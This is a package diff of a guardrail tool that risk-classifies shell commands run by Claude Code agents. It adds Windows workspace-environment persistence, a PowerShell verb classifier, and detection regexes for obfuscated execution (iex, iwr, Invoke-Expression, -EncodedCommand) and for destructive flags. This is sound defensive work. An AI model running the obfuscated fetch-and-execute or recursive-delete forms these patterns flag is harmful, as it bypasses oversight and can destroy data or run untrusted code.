@jaguilar87/gaia 5.2.0-rc.2 → 5.2.0-rc.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/marketplace.json +2 -2
- package/.claude-plugin/plugin.json +1 -1
- package/CHANGELOG.md +2 -0
- package/bin/cli/doctor.py +14 -3
- package/bin/cli/install.py +174 -7
- package/hooks/modules/security/mutative_verbs.py +322 -7
- package/package.json +1 -1
- package/pyproject.toml +1 -1
- package/skills/gaia-patterns/reference.md +2 -1
- package/skills/security-tiers/SKILL.md +3 -0
- package/skills/security-tiers/reference.md +32 -0
|
@@ -9,7 +9,7 @@
|
|
|
9
9
|
{
|
|
10
10
|
"name": "gaia",
|
|
11
11
|
"description": "Security-first multi-agent orchestration for Claude Code. Specialized agents cover the full development lifecycle — analysis, planning, execution, deployment — with codebase-aware context injection. Every command is risk-classified: read-only runs freely, state changes pause for your approval, and irreversible operations are permanently blocked.",
|
|
12
|
-
"version": "5.2.0-rc.
|
|
12
|
+
"version": "5.2.0-rc.3",
|
|
13
13
|
"category": "devops",
|
|
14
14
|
"author": {
|
|
15
15
|
"name": "jaguilar87",
|
|
@@ -19,7 +19,7 @@
|
|
|
19
19
|
"source": {
|
|
20
20
|
"source": "github",
|
|
21
21
|
"repo": "metraton/gaia",
|
|
22
|
-
"ref": "v5.2.0-rc.
|
|
22
|
+
"ref": "v5.2.0-rc.3"
|
|
23
23
|
}
|
|
24
24
|
}
|
|
25
25
|
]
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gaia",
|
|
3
|
-
"version": "5.2.0-rc.
|
|
3
|
+
"version": "5.2.0-rc.3",
|
|
4
4
|
"description": "Security-first multi-agent orchestration for Claude Code. Agents span the full lifecycle; commands are risk-classified \u2014 reads run free, state changes need approval, irreversible ops blocked.",
|
|
5
5
|
"author": {
|
|
6
6
|
"name": "jaguilar87",
|
package/CHANGELOG.md
CHANGED
|
@@ -29,6 +29,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|
|
29
29
|
- `gaia context prune-workspaces --yes` is now correctly classified T3 (state-mutating): it hard-deletes `workspaces` rows, but the `context` group carried no mutative verb and classified read-only by elimination. Only the destructive subcommand is anchored (`COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES[("gaia","context")]`); other `context` subcommands stay read-only. Separately, the Step 5 ALWAYS-dangerous flag scan now runs before the read-only-verb early return, so `git fetch --prune` (a read-only verb with a destructive flag) escalates to T3 instead of being skipped.
|
|
30
30
|
- SubagentStop M4 fence footgun: a turn that built its contract via the `gaia contract` CLI and ran `gaia contract finalize` (valid terminal row) but forgot to echo the fenced `agent_contract_handoff` in its response text was hard-rejected by the full-verdict gate. `adapt_subagent_stop` now reconstructs the envelope from the agent's own finalized draft when the fence is missing, so the gate parses the completed contract; non-fatal (falls back to the unchanged gate when no finalized row exists). The minted-agent-id resolver was factored into a shared `resolve_minted_agent_id` reused by the backstop, truncation salvage, and this path.
|
|
31
31
|
|
|
32
|
+
## [5.2.0-rc.3] - 2026-07-17
|
|
33
|
+
|
|
32
34
|
## [5.2.0-rc.2] - 2026-07-17
|
|
33
35
|
|
|
34
36
|
## [5.2.0-rc.1] - 2026-07-17
|
package/bin/cli/doctor.py
CHANGED
|
@@ -204,10 +204,21 @@ def _derive_workspace(override: str = None) -> Path:
|
|
|
204
204
|
return workspace
|
|
205
205
|
|
|
206
206
|
# --- No inferable consumer workspace ---
|
|
207
|
+
# Legible, actionable failure -- NOT a raw CRITICAL. Reached when Gaia is
|
|
208
|
+
# not running from inside a workspace's node_modules/@jaguilar87/gaia tree
|
|
209
|
+
# (global or symlinked install) AND GAIA_WORKSPACE_PATH is unset or points
|
|
210
|
+
# at a dir without .claude/. The two remedies are explicit; no cwd walk-up
|
|
211
|
+
# and no forced --workspace (both deliberately avoided).
|
|
207
212
|
print(
|
|
208
|
-
"gaia doctor:
|
|
209
|
-
"
|
|
210
|
-
"
|
|
213
|
+
"gaia doctor: could not resolve a workspace to check "
|
|
214
|
+
"(global or symlinked install detected, and GAIA_WORKSPACE_PATH is "
|
|
215
|
+
"not set to a directory with .claude/).\n"
|
|
216
|
+
" Fix it one of two ways:\n"
|
|
217
|
+
" - run `gaia doctor --workspace <path>` to check a specific "
|
|
218
|
+
"workspace now, or\n"
|
|
219
|
+
" - reinstall with `gaia install --workspace <path>` (on Windows "
|
|
220
|
+
"this also persists GAIA_WORKSPACE_PATH so doctor resolves the "
|
|
221
|
+
"workspace automatically).",
|
|
211
222
|
file=sys.stderr,
|
|
212
223
|
)
|
|
213
224
|
sys.exit(2)
|
package/bin/cli/install.py
CHANGED
|
@@ -121,15 +121,28 @@ _SEED_SURFACE_ROUTING = _PACKAGE_ROOT / "tools" / "scan" / "seed_surface_routing
|
|
|
121
121
|
# and wins over npm's by being written to Gaia's own bin dir (default
|
|
122
122
|
# ``~/.local/bin``): when that dir precedes the npm prefix on PATH, cmd.exe /
|
|
123
123
|
# PowerShell resolve ``gaia`` (``gaia.cmd`` / ``gaia.ps1``) to Gaia's launcher,
|
|
124
|
-
# which sets GAIA_WORKSPACE_PATH before dispatching.
|
|
125
|
-
#
|
|
126
|
-
#
|
|
127
|
-
#
|
|
128
|
-
#
|
|
124
|
+
# which sets GAIA_WORKSPACE_PATH before dispatching.
|
|
125
|
+
#
|
|
126
|
+
# Where Gaia's dir is NOT ahead of the npm prefix (the common case on Windows,
|
|
127
|
+
# where ``~/.local/bin`` is not on PATH by convention), npm's shim wins and
|
|
128
|
+
# execs ``bin/gaia`` WITHOUT the process-scoped GAIA_WORKSPACE_PATH export. The
|
|
129
|
+
# doctor `__file__` fallback does NOT save this case: with the npm global shim,
|
|
130
|
+
# ``__file__`` resolves into the npm prefix, so ``doctor._derive_workspace``
|
|
131
|
+
# derives the npm prefix as the "workspace" and emits a FALSE CRITICAL (this is
|
|
132
|
+
# the observed rc.2 bug, not a hypothetical). Two things close it, so the fix
|
|
133
|
+
# does not depend on PATH order:
|
|
134
|
+
# 1. `gaia install` on Windows PERSISTS GAIA_WORKSPACE_PATH to the USER
|
|
135
|
+
# environment (`setx`, see `_persist_workspace_env`). The next `gaia
|
|
136
|
+
# doctor` is a fresh process that inherits it, so doctor resolves the
|
|
137
|
+
# workspace via the env var regardless of which `gaia` won the PATH.
|
|
138
|
+
# 2. `gaia install` WARNS when Gaia's launcher dir is not ahead of the npm
|
|
139
|
+
# prefix on PATH (see `_launcher_path_precedence`), so the shadowed-launcher
|
|
140
|
+
# condition is a visible, actionable signal instead of a silent surprise.
|
|
129
141
|
#
|
|
130
142
|
# Re-running `gaia install` from a different workspace rewrites the launcher(s)
|
|
131
|
-
# to point at that workspace -- the install
|
|
132
|
-
# workspace the launcher
|
|
143
|
+
# to point at that workspace AND re-persists GAIA_WORKSPACE_PATH -- the install
|
|
144
|
+
# action is what selects which workspace both the launcher and the env var
|
|
145
|
+
# target (last-install-wins, single-valued).
|
|
133
146
|
|
|
134
147
|
# POSIX bash launcher. The workspace path is resolved at install time and baked
|
|
135
148
|
# in verbatim. No discovery, no env vars, no fallbacks -- a 3-line exec.
|
|
@@ -451,6 +464,145 @@ def _write_windows_launcher_file(path: Path, content: str, overwrite: bool) -> s
|
|
|
451
464
|
_create_path_symlink = _install_path_launcher
|
|
452
465
|
|
|
453
466
|
|
|
467
|
+
# ---------------------------------------------------------------------------
|
|
468
|
+
# Windows: persist GAIA_WORKSPACE_PATH + PATH-shadow warning
|
|
469
|
+
# ---------------------------------------------------------------------------
|
|
470
|
+
#
|
|
471
|
+
# On Windows the launcher only exports GAIA_WORKSPACE_PATH PROCESS-scoped (see
|
|
472
|
+
# the launcher templates). If npm's own `gaia.cmd` wins the PATH lookup, Gaia's
|
|
473
|
+
# launcher never runs, the env var is never set, and doctor derives the npm
|
|
474
|
+
# prefix as the workspace -> false CRITICAL. Persisting the var at USER scope
|
|
475
|
+
# (`setx`) makes doctor resolve the workspace regardless of which `gaia` wins,
|
|
476
|
+
# because the next `gaia doctor` is a NEW process that inherits the user env.
|
|
477
|
+
|
|
478
|
+
|
|
479
|
+
def _persist_workspace_env(workspace: Path) -> dict:
|
|
480
|
+
"""Windows only: persist GAIA_WORKSPACE_PATH to the USER environment.
|
|
481
|
+
|
|
482
|
+
Uses ``setx GAIA_WORKSPACE_PATH "<workspace>"`` -- a documented, built-in
|
|
483
|
+
Windows command that writes the value under HKCU\\Environment and broadcasts
|
|
484
|
+
WM_SETTINGCHANGE. Chosen over a direct ``winreg.SetValueEx`` because it is
|
|
485
|
+
a single self-contained call (no manual broadcast, no HKCU key handling),
|
|
486
|
+
and it mirrors the subprocess pattern the rest of this module already uses
|
|
487
|
+
(bootstrap, seeders). ``setx`` truncates at 1024 chars, which a workspace
|
|
488
|
+
path never approaches.
|
|
489
|
+
|
|
490
|
+
Semantics: last-install-wins, single-valued -- coherent with the launcher,
|
|
491
|
+
which bakes exactly one workspace. ``setx`` applies to FUTURE processes
|
|
492
|
+
(the current shell keeps its old value), which is precisely what doctor
|
|
493
|
+
needs: the next `gaia doctor` invocation is a new process.
|
|
494
|
+
|
|
495
|
+
Returns a step-result dict (``action``/``details``) compatible with
|
|
496
|
+
``_report_step``. Never raises -- a failure here is advisory (the
|
|
497
|
+
process-scoped launcher export still covers the launcher path).
|
|
498
|
+
"""
|
|
499
|
+
if not _is_windows():
|
|
500
|
+
return {"action": "noop", "details": "not Windows -- no env persistence needed"}
|
|
501
|
+
|
|
502
|
+
value = str(workspace)
|
|
503
|
+
try:
|
|
504
|
+
result = subprocess.run(
|
|
505
|
+
["setx", "GAIA_WORKSPACE_PATH", value],
|
|
506
|
+
capture_output=True,
|
|
507
|
+
text=True,
|
|
508
|
+
check=False,
|
|
509
|
+
)
|
|
510
|
+
except OSError as exc:
|
|
511
|
+
return {"action": "error", "details": f"setx invocation failed: {exc}"}
|
|
512
|
+
|
|
513
|
+
if result.returncode != 0:
|
|
514
|
+
detail = (result.stderr or result.stdout or "unknown error").strip()[:200]
|
|
515
|
+
return {"action": "error", "details": f"setx exited {result.returncode}: {detail}"}
|
|
516
|
+
|
|
517
|
+
return {
|
|
518
|
+
"action": "created",
|
|
519
|
+
"details": f"GAIA_WORKSPACE_PATH persisted (user env) -> {value}",
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
|
|
523
|
+
def _npm_global_prefix() -> "Path | None":
|
|
524
|
+
"""Best-effort npm global prefix on Windows (where npm writes its shim).
|
|
525
|
+
|
|
526
|
+
Under ``npm install -g``, npm writes ``gaia.cmd`` into ``%APPDATA%\\npm``.
|
|
527
|
+
We use that convention rather than shelling out to ``npm config get prefix``
|
|
528
|
+
to keep the check offline and fast -- it feeds only an ADVISORY warning, so
|
|
529
|
+
a heuristic is acceptable. Returns None when APPDATA is unset (then the
|
|
530
|
+
precedence check only verifies Gaia's dir is present at all).
|
|
531
|
+
"""
|
|
532
|
+
appdata = os.environ.get("APPDATA")
|
|
533
|
+
if appdata:
|
|
534
|
+
return Path(appdata) / "npm"
|
|
535
|
+
return None
|
|
536
|
+
|
|
537
|
+
|
|
538
|
+
def _launcher_path_precedence(
|
|
539
|
+
gaia_bin_dir: Path,
|
|
540
|
+
npm_prefix: "Path | None",
|
|
541
|
+
path_dirs: "list[str]",
|
|
542
|
+
) -> "str | None":
|
|
543
|
+
"""Return an actionable warning when Gaia's launcher will NOT win the
|
|
544
|
+
``gaia`` name resolution against npm's own shim -- else None.
|
|
545
|
+
|
|
546
|
+
Pure and platform-agnostic (every input is passed in), so it is unit-
|
|
547
|
+
testable on any OS. Comparison is case-insensitive and path-normalized
|
|
548
|
+
(Windows PATH entries vary in case and separators).
|
|
549
|
+
|
|
550
|
+
Two shadowing conditions produce a warning:
|
|
551
|
+
1. Gaia's launcher dir is not on PATH at all -> npm's shim always wins.
|
|
552
|
+
2. The npm prefix precedes Gaia's dir on PATH -> npm's shim wins.
|
|
553
|
+
"""
|
|
554
|
+
def _norm(p) -> str:
|
|
555
|
+
return os.path.normcase(os.path.normpath(str(p)))
|
|
556
|
+
|
|
557
|
+
normalized = [_norm(p) for p in path_dirs if p]
|
|
558
|
+
gaia_norm = _norm(gaia_bin_dir)
|
|
559
|
+
|
|
560
|
+
gaia_idx = normalized.index(gaia_norm) if gaia_norm in normalized else None
|
|
561
|
+
|
|
562
|
+
if gaia_idx is None:
|
|
563
|
+
return (
|
|
564
|
+
f"{gaia_bin_dir} is not on PATH -- npm's own `gaia` shim will run "
|
|
565
|
+
"instead of Gaia's workspace-bound launcher. Add that dir to PATH "
|
|
566
|
+
"(ahead of the npm prefix) so `gaia` resolves to Gaia's launcher."
|
|
567
|
+
)
|
|
568
|
+
|
|
569
|
+
if npm_prefix is not None:
|
|
570
|
+
npm_norm = _norm(npm_prefix)
|
|
571
|
+
npm_idx = normalized.index(npm_norm) if npm_norm in normalized else None
|
|
572
|
+
if npm_idx is not None and npm_idx < gaia_idx:
|
|
573
|
+
return (
|
|
574
|
+
f"the npm prefix ({npm_prefix}) precedes Gaia's launcher dir "
|
|
575
|
+
f"({gaia_bin_dir}) on PATH -- npm's `gaia` shim wins, so the "
|
|
576
|
+
"workspace-bound launcher will not run. Move Gaia's dir ahead "
|
|
577
|
+
"of the npm prefix on PATH."
|
|
578
|
+
)
|
|
579
|
+
|
|
580
|
+
return None
|
|
581
|
+
|
|
582
|
+
|
|
583
|
+
def _warn_launcher_shadowed(link: "Path | str", quiet: bool) -> "str | None":
|
|
584
|
+
"""Windows only: emit an actionable warning when the launcher dir will not
|
|
585
|
+
win ``gaia`` resolution against npm's shim.
|
|
586
|
+
|
|
587
|
+
The plain ``PATH launcher: gaia.cmd=created`` step line is misleading when
|
|
588
|
+
the launcher is shadowed on PATH (it reports creation, not effectiveness);
|
|
589
|
+
this converts that into a visible, actionable signal. Returns the warning
|
|
590
|
+
message (also printed to stderr unless quiet) or None when not shadowed.
|
|
591
|
+
"""
|
|
592
|
+
if not _is_windows():
|
|
593
|
+
return None
|
|
594
|
+
|
|
595
|
+
gaia_bin_dir = Path(link).expanduser().parent
|
|
596
|
+
warning = _launcher_path_precedence(
|
|
597
|
+
gaia_bin_dir=gaia_bin_dir,
|
|
598
|
+
npm_prefix=_npm_global_prefix(),
|
|
599
|
+
path_dirs=os.environ.get("PATH", "").split(os.pathsep),
|
|
600
|
+
)
|
|
601
|
+
if warning and not quiet:
|
|
602
|
+
print(f" [!] PATH launcher: {warning}", file=sys.stderr)
|
|
603
|
+
return warning
|
|
604
|
+
|
|
605
|
+
|
|
454
606
|
# ---------------------------------------------------------------------------
|
|
455
607
|
# Bootstrap invocation
|
|
456
608
|
# ---------------------------------------------------------------------------
|
|
@@ -931,6 +1083,21 @@ def cmd_install(args: argparse.Namespace) -> int:
|
|
|
931
1083
|
# retargets the shim.
|
|
932
1084
|
path_res = _install_path_launcher(workspace=workspace)
|
|
933
1085
|
_report_step(name="PATH launcher", result=path_res, quiet=quiet, verbose=verbose)
|
|
1086
|
+
# Windows: the "created" line above reports the launcher was WRITTEN,
|
|
1087
|
+
# not that it will WIN `gaia` resolution. Warn when Gaia's launcher dir
|
|
1088
|
+
# is not ahead of the npm prefix on PATH -- an actionable signal, not a
|
|
1089
|
+
# false all-clear. No-op on POSIX.
|
|
1090
|
+
_warn_launcher_shadowed(link="~/.local/bin/gaia", quiet=quiet)
|
|
1091
|
+
|
|
1092
|
+
# Step 6.6 -- Windows: persist GAIA_WORKSPACE_PATH to the user environment
|
|
1093
|
+
# so `gaia doctor` resolves THIS workspace regardless of which `gaia` wins
|
|
1094
|
+
# PATH. The launcher only exports it process-scoped; without this, when
|
|
1095
|
+
# npm's shim wins, doctor derives the npm prefix and emits a false CRITICAL
|
|
1096
|
+
# (the rc.2 bug). Runs even under --no-path: the env var, not the launcher,
|
|
1097
|
+
# is what makes doctor's derivation correct. No-op on POSIX.
|
|
1098
|
+
if _is_windows():
|
|
1099
|
+
env_res = _persist_workspace_env(workspace)
|
|
1100
|
+
_report_step(name="workspace-env", result=env_res, quiet=quiet, verbose=verbose)
|
|
934
1101
|
|
|
935
1102
|
# Install owns Steps 1-6 only. Workspace scanning is a separate, on-demand
|
|
936
1103
|
# flow (`gaia scan`); install never triggers it. A clean install clears any
|
|
@@ -631,6 +631,81 @@ _PY_MODULE_PACKAGE_MANAGERS: FrozenSet[str] = frozenset({
|
|
|
631
631
|
"pip", "pip3", "pipenv", "poetry", "uv",
|
|
632
632
|
})
|
|
633
633
|
|
|
634
|
+
# ---------------------------------------------------------------------------
|
|
635
|
+
# PowerShell lane (Step 1c-ps): Windows/.NET interpreter introspection
|
|
636
|
+
# ---------------------------------------------------------------------------
|
|
637
|
+
# The POSIX verb scanner is blind to PowerShell: `powershell.exe -Command
|
|
638
|
+
# "<script>"` collapses the payload into one opaque token, so a mutative
|
|
639
|
+
# `Remove-Item` inside it is never seen (false negative), while the old `-rf`
|
|
640
|
+
# flag heuristic mis-read `-NoProfile` as `-rf` and over-blocked EVERY call
|
|
641
|
+
# (false positive). This lane mirrors `_INLINE_CODE_MAP`/`_check_script_file`
|
|
642
|
+
# for the Windows shell: it introspects the payload and classifies each cmdlet
|
|
643
|
+
# by its Verb-Noun VERB (the part before the hyphen) against PowerShell's own
|
|
644
|
+
# approved-verb taxonomy -- so a never-seen cmdlet classifies correctly by its
|
|
645
|
+
# verb (`Get-FooBar` -> read, `Set-FooBar` -> change) with NO per-cmdlet list.
|
|
646
|
+
_POWERSHELL_INTERPRETERS: FrozenSet[str] = frozenset({
|
|
647
|
+
"powershell", "powershell.exe", "pwsh", "pwsh.exe",
|
|
648
|
+
})
|
|
649
|
+
|
|
650
|
+
# Read/inspection verbs -> NON-mutative (T0/T1). The part before the hyphen of
|
|
651
|
+
# a Verb-Noun cmdlet; matched case-insensitively. Drawn from PowerShell's
|
|
652
|
+
# approved-verb groups (Common/Data/Diagnostic) that only OBSERVE state.
|
|
653
|
+
_PS_READ_VERBS: FrozenSet[str] = frozenset({
|
|
654
|
+
"get", "measure", "select", "where", "sort", "compare",
|
|
655
|
+
"test", "resolve", "find", "search", "show", "format",
|
|
656
|
+
"convertfrom", "convertto", "group", "join", "split", "read",
|
|
657
|
+
})
|
|
658
|
+
|
|
659
|
+
# Change verbs -> MUTATIVE (T3). Any of these anywhere in the payload escalates
|
|
660
|
+
# the WHOLE payload (composition rule mirror: any mutative stage -> T3).
|
|
661
|
+
_PS_CHANGE_VERBS: FrozenSet[str] = frozenset({
|
|
662
|
+
"set", "new", "remove", "clear", "add", "move", "copy", "rename",
|
|
663
|
+
"start", "stop", "restart", "suspend", "resume", "register",
|
|
664
|
+
"unregister", "install", "uninstall", "import", "export", "write",
|
|
665
|
+
"enable", "disable", "mount", "dismount", "invoke", "push", "pop",
|
|
666
|
+
"save", "publish", "send", "update", "edit", "reset", "limit", "block",
|
|
667
|
+
})
|
|
668
|
+
|
|
669
|
+
# The `Out-*` verb is ambiguous: `Out-String`/`Out-Host`/`Out-Null` only render
|
|
670
|
+
# to the pipeline/console (read), while `Out-File`/`Out-Printer` WRITE (change).
|
|
671
|
+
# Split by noun rather than lumping the whole verb into one set.
|
|
672
|
+
_PS_OUT_READ_NOUNS: FrozenSet[str] = frozenset({
|
|
673
|
+
"string", "host", "null", "default", "gridview",
|
|
674
|
+
})
|
|
675
|
+
|
|
676
|
+
# A Verb-Noun cmdlet token: a letter-led word, a hyphen, then a noun word.
|
|
677
|
+
# A leading flag ("-Recurse", "-Command") cannot match -- the pattern requires
|
|
678
|
+
# a letter immediately BEFORE the hyphen, and flags start with the hyphen.
|
|
679
|
+
_PS_CMDLET_RE = _re.compile(r"\b([A-Za-z][A-Za-z]*)-([A-Za-z][A-Za-z0-9]*)\b")
|
|
680
|
+
|
|
681
|
+
# Obfuscation / non-inspectable-execution markers -> T3 regardless of the
|
|
682
|
+
# surrounding cmdlets. These run BEFORE the cmdlet allowlist so a benign read
|
|
683
|
+
# cmdlet piped into `iex` (`Get-Content x | iex`) cannot launder the payload.
|
|
684
|
+
# iex / iwr / icm : bare aliases (Invoke-Expression / -WebRequest / -Command)
|
|
685
|
+
# call operators : `&`/`.` at a statement boundary invoke an arbitrary target
|
|
686
|
+
_PS_OBFUSCATION_RES: Tuple["_re.Pattern[str]", ...] = (
|
|
687
|
+
_re.compile(r"\b(iex|iwr|icm)\b", _re.IGNORECASE),
|
|
688
|
+
_re.compile(r"\binvoke-expression\b", _re.IGNORECASE),
|
|
689
|
+
# `&` or `.` used as a call operator at a statement boundary (start of
|
|
690
|
+
# payload or right after `;` `|` `{` `(` `&&`), followed by whitespace and a
|
|
691
|
+
# target. Excludes a trailing path dot ("Get-ChildItem .") which has no
|
|
692
|
+
# following target.
|
|
693
|
+
_re.compile(r"(?:^|[;|{(]|&&)\s*[&.]\s+\S"),
|
|
694
|
+
)
|
|
695
|
+
|
|
696
|
+
# PowerShell `-EncodedCommand <base64>` (and its unambiguous abbreviations) hides
|
|
697
|
+
# the real script inside a base64 blob that cannot be introspected -> T3. Any
|
|
698
|
+
# flag whose body is a prefix of "encodedcommand" (len>=2) or the documented
|
|
699
|
+
# short alias "ec" is treated as the encoded-command flag.
|
|
700
|
+
def _is_ps_encoded_flag(flag: str) -> bool:
|
|
701
|
+
body = flag.lstrip("-").lower()
|
|
702
|
+
if not body:
|
|
703
|
+
return False
|
|
704
|
+
if body == "ec":
|
|
705
|
+
return True
|
|
706
|
+
return len(body) >= 2 and "encodedcommand".startswith(body)
|
|
707
|
+
|
|
708
|
+
|
|
634
709
|
# ---------------------------------------------------------------------------
|
|
635
710
|
# Layer 1: Shell command extraction from string literals
|
|
636
711
|
# ---------------------------------------------------------------------------
|
|
@@ -1255,6 +1330,44 @@ CLI_FAMILY_LOOKUP: Dict[str, str] = {
|
|
|
1255
1330
|
# Dangerous Flag Scanning
|
|
1256
1331
|
# ============================================================================
|
|
1257
1332
|
|
|
1333
|
+
# Longest packed POSIX short-flag bundle the ``-rf`` heuristic will consider.
|
|
1334
|
+
# Real destructive bundles are short ("-rf"=2, "-rfi"=3, "-rfvd"=4); a token
|
|
1335
|
+
# longer than this is a long-form word flag ("-NoProfile", "-Recurse"), not a
|
|
1336
|
+
# bundle of single-character flags.
|
|
1337
|
+
_MAX_POSIX_SHORT_FLAG_CLUSTER = 4
|
|
1338
|
+
|
|
1339
|
+
# A CamelCase boundary (an uppercase letter immediately followed by a lowercase
|
|
1340
|
+
# one) marks a word, not a flag bundle: "No"/"Pro" in "-NoProfile", "Fo" in
|
|
1341
|
+
# "-Force". Genuine packed short-flag bundles are lowercase ("-rf", "-rfi").
|
|
1342
|
+
_CAMEL_WORD_RE = _re.compile(r"[A-Z][a-z]")
|
|
1343
|
+
|
|
1344
|
+
|
|
1345
|
+
def _is_posix_short_flag_cluster(flag_chars: str) -> bool:
|
|
1346
|
+
"""True when *flag_chars* looks like a genuine packed POSIX short-flag bundle.
|
|
1347
|
+
|
|
1348
|
+
``flag_chars`` is the token body with the leading ``-`` already stripped
|
|
1349
|
+
("rf" for "-rf", "NoProfile" for "-NoProfile"). A packed bundle is a run of
|
|
1350
|
+
single-character flags -- short, all letters, no CamelCase word boundary. A
|
|
1351
|
+
long single-dash word flag from the .NET/PowerShell/Java family
|
|
1352
|
+
("-NoProfile", "-Force", "-Recurse", "-ExecutionPolicy") is NOT a bundle and
|
|
1353
|
+
must not be mined for stray ``r``/``f`` characters.
|
|
1354
|
+
|
|
1355
|
+
Trade-off (documented): an uppercase-led bundle such as ``-Rf`` is treated
|
|
1356
|
+
as a word ("Rf" trips the CamelCase gate) and so is NOT matched here. This
|
|
1357
|
+
is deliberate -- excluding the ubiquitous ``-NoProfile`` false positive on
|
|
1358
|
+
every PowerShell command is worth far more than catching the rare
|
|
1359
|
+
uppercase-packed ``-Rf`` form, and the ``-R``/``-r``/``-f`` single flags are
|
|
1360
|
+
still caught by their exact-match handling above.
|
|
1361
|
+
"""
|
|
1362
|
+
if not flag_chars or len(flag_chars) > _MAX_POSIX_SHORT_FLAG_CLUSTER:
|
|
1363
|
+
return False
|
|
1364
|
+
if not flag_chars.isalpha():
|
|
1365
|
+
return False
|
|
1366
|
+
if _CAMEL_WORD_RE.search(flag_chars):
|
|
1367
|
+
return False
|
|
1368
|
+
return True
|
|
1369
|
+
|
|
1370
|
+
|
|
1258
1371
|
def _scan_dangerous_flags(
|
|
1259
1372
|
tokens: Union[List[str], tuple],
|
|
1260
1373
|
cli: str,
|
|
@@ -1314,15 +1427,26 @@ def _scan_dangerous_flags(
|
|
|
1314
1427
|
found.append(token)
|
|
1315
1428
|
|
|
1316
1429
|
# Check for compound short flags containing dangerous combos
|
|
1317
|
-
# e.g., "-rfi" contains both -r and -f
|
|
1430
|
+
# e.g., "-rfi" contains both -r and -f.
|
|
1431
|
+
#
|
|
1432
|
+
# This heuristic MUST fire only on genuine packed POSIX short-flag
|
|
1433
|
+
# bundles ("-rf", "-rfi", "-fv"), never on a long single-dash *word*
|
|
1434
|
+
# flag from the .NET/PowerShell/Java family ("-NoProfile", "-Force",
|
|
1435
|
+
# "-Recurse", "-Xmx"). The old rule tested only ``"r" in chars and "f"
|
|
1436
|
+
# in chars`` on any >2-char single-dash token, so "-NoProfile"
|
|
1437
|
+
# (P**rof**ile carries both r and f) was mis-read as "-rf" -- turning
|
|
1438
|
+
# EVERY PowerShell invocation (Claude Code prepends ``-NoProfile``) into
|
|
1439
|
+
# a spurious T3. ``_is_posix_short_flag_cluster`` gates the branch so a
|
|
1440
|
+
# word-flag no longer matches, while real packed bundles still do.
|
|
1318
1441
|
elif len(token) > 2 and token[0] == "-" and token[1] != "-":
|
|
1319
1442
|
flag_chars = token[1:]
|
|
1320
|
-
if
|
|
1321
|
-
|
|
1322
|
-
|
|
1323
|
-
|
|
1324
|
-
|
|
1325
|
-
|
|
1443
|
+
if _is_posix_short_flag_cluster(flag_chars):
|
|
1444
|
+
if "r" in flag_chars and "f" in flag_chars:
|
|
1445
|
+
found.append(token)
|
|
1446
|
+
elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
|
|
1447
|
+
found.append(token)
|
|
1448
|
+
elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
|
|
1449
|
+
found.append(token)
|
|
1326
1450
|
|
|
1327
1451
|
return tuple(found)
|
|
1328
1452
|
|
|
@@ -1645,6 +1769,22 @@ def detect_mutative_command(
|
|
|
1645
1769
|
if py_module_result is not None:
|
|
1646
1770
|
return py_module_result
|
|
1647
1771
|
|
|
1772
|
+
# --- Step 1c-ps: PowerShell command / script introspection ---
|
|
1773
|
+
# ``powershell.exe -Command "<script>"`` collapses its payload into a single
|
|
1774
|
+
# opaque token, so the POSIX verb scanner never sees the cmdlets inside it --
|
|
1775
|
+
# a destructive ``Remove-Item -Recurse`` slips through as safe-by-elimination
|
|
1776
|
+
# while every benign PowerShell call is over-blocked. Introspect the payload
|
|
1777
|
+
# of ``-Command``/``-c`` (and ``-File <script.ps1>`` via its file contents),
|
|
1778
|
+
# classify each cmdlet by its Verb-Noun verb against the approved-verb
|
|
1779
|
+
# taxonomy, escalate the WHOLE payload to T3 on any change/unknown verb or
|
|
1780
|
+
# obfuscation marker, and fall back to conservative T3 on an un-inspectable
|
|
1781
|
+
# payload. Returns None when the command is not a PowerShell interpreter.
|
|
1782
|
+
ps_result = _check_powershell_command(
|
|
1783
|
+
command, base_cmd, family, semantics, cwd=cwd, _depth=_depth,
|
|
1784
|
+
)
|
|
1785
|
+
if ps_result is not None:
|
|
1786
|
+
return ps_result
|
|
1787
|
+
|
|
1648
1788
|
# --- Step 1d: Script-file analysis (python3 deploy.py, bash setup.sh, ./x) ---
|
|
1649
1789
|
# An interpreter invoked with a script FILE as a positional argument, or a
|
|
1650
1790
|
# direct ``./script`` invocation, hides its mutations inside the file --
|
|
@@ -2557,6 +2697,181 @@ def _resolve_script_argument(
|
|
|
2557
2697
|
return None
|
|
2558
2698
|
|
|
2559
2699
|
|
|
2700
|
+
def _classify_powershell_verb(verb: str, noun: str) -> str:
|
|
2701
|
+
"""Classify a single PowerShell cmdlet by its Verb-Noun verb.
|
|
2702
|
+
|
|
2703
|
+
Returns one of ``"read"`` (non-mutative), ``"change"`` (mutative), or
|
|
2704
|
+
``"unknown"`` (verb in neither approved set -> conservative T3). ``verb``
|
|
2705
|
+
and ``noun`` are already lowercased. The ``Out-*`` verb is split by noun:
|
|
2706
|
+
``Out-String``/``Out-Host``/``Out-Null`` render only (read), while
|
|
2707
|
+
``Out-File``/``Out-Printer`` write (change).
|
|
2708
|
+
"""
|
|
2709
|
+
if verb == "out":
|
|
2710
|
+
return "read" if noun in _PS_OUT_READ_NOUNS else "change"
|
|
2711
|
+
if verb in _PS_READ_VERBS:
|
|
2712
|
+
return "read"
|
|
2713
|
+
if verb in _PS_CHANGE_VERBS:
|
|
2714
|
+
return "change"
|
|
2715
|
+
return "unknown"
|
|
2716
|
+
|
|
2717
|
+
|
|
2718
|
+
def _classify_powershell_payload(
|
|
2719
|
+
payload: str, family: str, source: str,
|
|
2720
|
+
) -> MutativeResult:
|
|
2721
|
+
"""Classify a PowerShell script payload by cmdlet verb taxonomy.
|
|
2722
|
+
|
|
2723
|
+
``payload`` is the raw text of a ``-Command`` string or a ``.ps1`` file.
|
|
2724
|
+
Rules (all conservative / positive-allowlist):
|
|
2725
|
+
1. Obfuscation markers (``iex``/``iwr``/``icm``, ``Invoke-Expression``,
|
|
2726
|
+
a ``&``/``.`` call operator) escalate to T3 FIRST -- before the cmdlet
|
|
2727
|
+
scan -- so a read cmdlet piped into ``iex`` cannot launder the payload.
|
|
2728
|
+
